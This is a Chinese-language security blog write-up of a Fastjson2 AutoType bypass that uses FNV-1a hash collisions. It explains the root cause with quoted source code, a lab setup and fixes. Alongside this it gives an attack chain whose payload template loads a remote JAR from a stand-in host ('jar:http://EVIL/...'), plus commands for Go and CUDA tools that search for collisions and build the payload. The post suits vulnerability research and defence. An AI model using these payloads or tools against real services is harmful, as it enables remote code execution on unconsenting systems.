Fastjson2 FNV-1a 哈希碰撞 AutoType 绕过 RCE


免责声明

本文档和配套代码仅用于授权环境下的漏洞研究、本地靶场复现、代码审计和防御验证。禁止将本文档中的 PoC、检测逻辑或复现步骤用于未授权系统、互联网目标或任何违反法律法规的场景。使用者应自行确保测试目标、网络环境和操作行为均已获得明确授权,并自行承担因不当使用造成的后果。

漏洞简介

Fastjson2 的 2.0.62 及以下版本在处理 @type 时,ObjectReaderProvider.checkAutoType() 会逐字符计算 typeName 的增量 FNV-1a 哈希,并将中间哈希值与 AutoType 白名单哈希数组进行匹配。哈希命中后代码会直接调用 loadClass(typeName) 加载完整的 typeName 字符串,却没有再次验证该字符串文本是否真的属于白名单前缀。在特定 ClassLoader 环境下可以远程加载类导致 RCE。

影响范围

  • Fastjson2 <= 2.0.62
  • 目标 ClassLoader 能处理 jar:http:// 等 URL 协议字符串
  • 目标 JVM 可出站访问攻击者 HTTP 服务

根因分析

1. 正常 JSON 解析流程

当服务端收到前端传递的普通 JSON 请求时:

{"username":"test", "password":"test"}

服务端 Controller 调用 JSON.parseObject() 解析成 Java 对象:

  • JSONReader 逐字符解析 JSON 字符串,拆出里面的键值对(比如 "username" 对应 "test")
  • 使用 ObjectReader(反序列化器,负责把 JSON 字段映射到类属性)把 JSON 里的键值对一一赋值给类里对应的变量
  • 返回一个已经填好数据的对象,后续代码直接拿来用

这就是 Fastjson2 正常解析 JSON 数据的流程。fastjson2 直接按 UserDTO.class 的结构反序列化,不涉及 checkAutoType

2. 当 JSON 包含 @type 时

如果服务端接收到的 JSON 包含 @type 字段:

{"username":"test", "password":"test", "@type":"com.example.Foo"}

解析流程发生变化,当解析器读到 key 为 @type 时,会读取其 value,然后调用 getObjectReaderAutoType() 将该字符串解析为对应的 ObjectReader(反序列化器)。

官方源码:JSONReader.java#L6797-L6813

public ObjectReader getObjectReaderAutoType(long typeHash, Class expectClass, long features) {
    // 1. 先从缓存查找
    ObjectReader autoTypeObjectReader = context.getObjectReaderAutoType(typeHash);
    if (autoTypeObjectReader != null) {
        return autoTypeObjectReader;
    }

    // 2. 读取 @type 的字符串值
    String typeName = getString();

    // 3. 如果用户注册了 autoTypeBeforeHandler,先让它处理
    if (context.autoTypeBeforeHandler != null) {
        Class<?> autoTypeClass = context.autoTypeBeforeHandler.apply(typeName, expectClass, features);
        if (autoTypeClass != null) {
            boolean fieldBased = (features & Feature.FieldBased.mask) != 0;
            return context.provider.getObjectReader(autoTypeClass, fieldBased);
        }
    }

    // 4. 否则交给 ObjectReaderProvider.getObjectReader() 处理
    return context.provider.getObjectReader(typeName, expectClass, context.features | features);
}

3. checkAutoType() 的安全检查

ObjectReaderProvider.getObjectReader 内部调用 checkAutoType 来验证并解析类型名。这是整个反序列化流程中的安全边界,它决定一个 @type 字符串能否被解析为 Java Class。

checkAutoType 按以下顺序对 typeName 进行安全检查:

3a. SafeMode 总闸门

官方源码:ObjectReaderProvider.java#L803-L805

if (SAFE_MODE) {
    return null;
}

和 Fastjson 1.x 一样,SafeMode 启用后直接返回 null,拒绝所有 autoType。但默认是关闭的。

3b. 长度检查(无字符过滤)

官方源码:ObjectReaderProvider.java#L807-L820

int typeNameLength = typeName.length();
if (typeNameLength >= 192) {
    throw new JSONException("autoType is not support. " + typeName);
}
checkAutoTypeTypeUtils.loadClass() 中都有 >= 192 的长度限制。这意味着无论走哪条路径,@type 的值都不能超过 192 个字符。

checkAutoType没有任何针对 :! 的字符过滤逻辑。对比官方修复 PR #7695 的 diff,修复方案正是在长度检查之后新增:! 的拒绝检查。

因此在漏洞版本中,包含 :! 的字符串(如 jar:http://evil.com/payload)不会被拦截,可以顺利进入后续的哈希匹配流程。

4. 漏洞分支:增量 FNV-1a 哈希匹配(核心缺陷)

在漏洞版本中,无论 checkAutoTypeautoTypeSupport == true 还是 autoTypeSupport == false 两个分支的代码逻辑完全相同——都是逐字符计算增量 FNV-1a 哈希、命中白名单后直接调用 loadClass(typeName)均不验证前缀文本,这就是漏洞的根本原因。以默认的 !autoTypeSupport 分支为例分析:

官方源码:ObjectReaderProvider.java#L848-L873

if (!autoTypeSupport) {
    long hash = MAGIC_HASH_CODE;
    for (int i = 0; i < typeNameLength; ++i) {
        char ch = typeName.charAt(i);
        if (ch == '$') {
            ch = '.';
        }
        hash ^= ch;
        hash *= MAGIC_PRIME;

        // white list
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            clazz = loadClass(typeName);             // 直接加载! 不验证前缀文本!

            if (clazz != null && expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. ...");
            }

            if (clazz != null) {
                afterAutoType(typeName, clazz);
            }
            return clazz;                            // 直接返回!
        }
    }
}

代码从 MAGIC_HASH_CODE0xcbf29ce484222325L)开始,依次对 typeName 的每个字符执行 hash = (hash XOR ch) * MAGIC_PRIME,每计算出一个中间哈希值就用 Arrays.binarySearchacceptHashCodes 数组中查找。一旦哈希命中,代码立即调用 loadClass(typeName) 加载完整的 typeName 字符串,然后直接返回。它只检查了哈希值是否相等,不验证 typeName 的前缀文本是否真的等于白名单类名

而默认白名单只有一个哈希值,即 -6293031534589903644

官方源码:ObjectReaderProvider.java#L206-L226

{
    long[] hashCodes;
    if (AUTO_TYPE_ACCEPT_LIST == null) {
        hashCodes = new long[1];
    } else {
        hashCodes = new long[AUTO_TYPE_ACCEPT_LIST.length + 1];
        for (int i = 0; i < AUTO_TYPE_ACCEPT_LIST.length; i++) {
            hashCodes[i] = Fnv.hashCode64(AUTO_TYPE_ACCEPT_LIST[i]);
        }
    }

    hashCodes[hashCodes.length - 1] = -6293031534589903644L;

    Arrays.sort(hashCodes);
    acceptHashCodes = hashCodes;
}

如果 typeName 的某个字符的计算结果命中这一个值就可以调用 loadClass(typeName) 加载 typeName 对应的类,如果这个 loadClass 被开发者重写并允许远程加载类,就可以触发 RCE。但这样的条件在现实中很罕见。

假设目标存在能解析 jar:http:// 协议的自定义 ClassLoader,那攻击路径如下:

  1. 攻击者准备恶意 JAR,托管在 HTTP 服务器
  2. 攻击者通过 FNV-1a 碰撞计算,构造命中白名单哈希的 @type 字符串并提交: {"@type":"jar:http://EVIL/probe_echo.jar!/<碰撞后缀>"}
  3. 服务端 JSON.parseObject()JSONReader 解析 JSON 并读取 @type 的值
  4. 解析器调用 getObjectReaderAutoType()provider.getObjectReader()checkAutoType()
  5. checkAutoType 逐字符计算增量哈希,在碰撞后缀位置命中白名单,然后调用 loadClass(typeName)
  6. 自定义 ClassLoader 识别 jar:http:// 前缀 → HTTP 下载 JAR(但是正常情况下无法匹配并加载类,需要自定义 ClassLoader 实现 fallback 加载功能)
  7. 从 JAR 提取 .class 字节码 → defineClass<clinit> 执行 → RCE

5. 碰撞构造:可逆但非瞬时

FNV-1a 的 MAGIC_PRIME0x100000001b3L)是奇数,在模 2^64 下存在乘法逆元,因此 FNV-1a 是可逆的——给定当前哈希和目标哈希,可以精确反推出需要的下一个字符值:

c = h_i XOR (h_{i+1} * P^{-1})

但反推出的 c 是 64 位值,而 fastjson2 处理 typeName 时使用的是 Java char,单个字符只有 16 位。也就是说,只有当反推结果的高 48 位全为 0 时,该值才是一个合法的 Java 字符。因此单字符直接命中目标哈希的概率约为 1 / 2^48,几乎不可行。

当前 Go/CUDA 搜索器采用 4 字符后缀作为工程折中:先枚举前三个 Java char,再通过逆运算反推第四个字符,并验证最终增量哈希是否命中 fastjson2 默认白名单哈希。这样搜索空间为 2^48;如果纯暴力枚举 4 个字符,则需要 2^64 次尝试,比当前方法慢 2^16 = 65536 倍。

需要注意,4 字符不是数学上的唯一方案,而是当前脚本采用的最小实用策略。使用更多字符也可以设计搜索策略,但仍需要处理 Java char 只有 16 位这一约束。

漏洞复现

漏洞分析部分已完成。由于真实碰撞 payload 生成耗时较长,当前复现章节仅提供环境搭建、攻击服务和碰撞搜索方法;完整的 RCE 结果将在碰撞完成后补充。cd

环境说明

漏洞环境尽可能模拟真实业务场景,位于 lab/ 目录下:

  • 服务端启动一个最小化的 Java HTTP 服务,使用 JDK 内置的 com.sun.net.httpserver(无需 Spring 等框架),依赖 fastjson2 2.0.62 漏洞版本。
  • 提供一个自定义 ClassLoader 实现远程类加载能力和 fallback 加载第一个类的能力(真实业务场景几乎不存在)。
  • 无内置白名单,仅依赖真实碰撞后缀才能触发 RCE。

lab 环境搭建

方式一:本地运行

cd lab && ./run.sh


方式二:Docker 运行

cd lab
./build.sh
docker compose up -d

环境启动成功后,访问 18080 端口,页面显示:

攻击服务搭建

构建恶意 JAR 和碰撞搜索器,并将恶意 JAR 托管在 HTTP 服务器:

cd poc
./build.sh
python3 serve.py

构造真实碰撞 Payload

方式一:Go CPU 版

可以通过参数指定前缀和线程数:

cd poc
./build.sh
./build/collision_search \
  -prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
  -workers 8

成功后会生成:

  • poc/build/collision_payload.json:可直接提交给 /parse 的 JSON
  • poc/build/collision_type.txt:JSON 转义后的完整 @type 字符串

Go 搜索器支持按第一个后缀字符 c0 分片,便于多机器并行:

# 机器 A 搜索 [0, 8192)
./build/collision_search \
  -prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
  -workers 8 \
  -start 0 \
  -end 8192

# 机器 B 搜索 [8192, 16384)
./build/collision_search \
  -prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
  -workers 8 \
  -start 8192 \
  -end 16384

方式二:CUDA GPU 版

CUDA 版使用同样的数学逻辑,但把 c1/c2 搜索放到 GPU kernel 中执行。它不会降低 2^48 的搜索空间,只是用 RTX 显卡的大规模并行缩短搜索时间。

Linux CUDA 环境(需要 nvcc):

cd poc
./build.sh
./cuda/build.sh

./build/collision_search_cuda \
  --prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
  --device 0 \
  --blocks 4096 \
  --threads 256 \
  --chunk-c0 1 \
  --start 0 \
  --end 65536

Windows CUDA 环境(PowerShell,需安装 NVIDIA Driver、CUDA Toolkit,并确保 nvcc.exePATH 中):

cd poc
New-Item -ItemType Directory -Force -Path build\classes | Out-Null
javac -g:none --release 8 -d build\classes src\main\java\XEcho.java
jar cf build\probe_echo.jar -C build\classes XEcho.class
.\cuda\build.ps1

# 先运行快速自检,验证 CUDA kernel 能碰撞出已知结果
.\build\collision_search_cuda.exe `
  --selftest `
  --prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' `
  --device 0 `
  --blocks 256 `
  --threads 256

# 自检通过后,再运行真实目标搜索
.\build\collision_search_cuda.exe `
  --prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' `
  --device 0 `
  --blocks 4096 `
  --threads 256 `
  --chunk-c0 1 `
  --start 0 `
  --end 65536

参数说明:

  • --blocks / --threads:CUDA kernel 的网格规模。RTX 级别显卡可从 4096 x 256 起步测试。
  • --chunk-c0:每次 kernel 覆盖多少个 c0 值。默认建议 1,便于观察进度,也避免桌面显卡单个 kernel 运行过久。
  • --start / --end:按 c0 分片,便于多张 GPU 或多机器并行。
  • Windows 桌面显卡如果作为显示卡使用,长时间 kernel 可能触发 TDR 超时。建议先用 --selftest 验证实现,再用较小 --chunk-c0 分片运行;长时间真实搜索更适合独立计算卡、TCC 模式或已调整 TDR 的环境。

CUDA 版成功后同样输出:

  • poc/build/collision_payload.json
  • poc/build/collision_type.txt

修复方案

  • 启用 SafeMode-Dfastjson2.parser.safeMode=true,拒绝所有 autoType
  • WAF 规则:拦截请求体中 key 包含 @type 字段的 JSON 数据
  • 升级 fastjson2:静等 2.0.63 版本发布

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - Fastjson2 FNV-1a 哈希碰撞 AutoType 绕过 RCE


Hacker perspective for security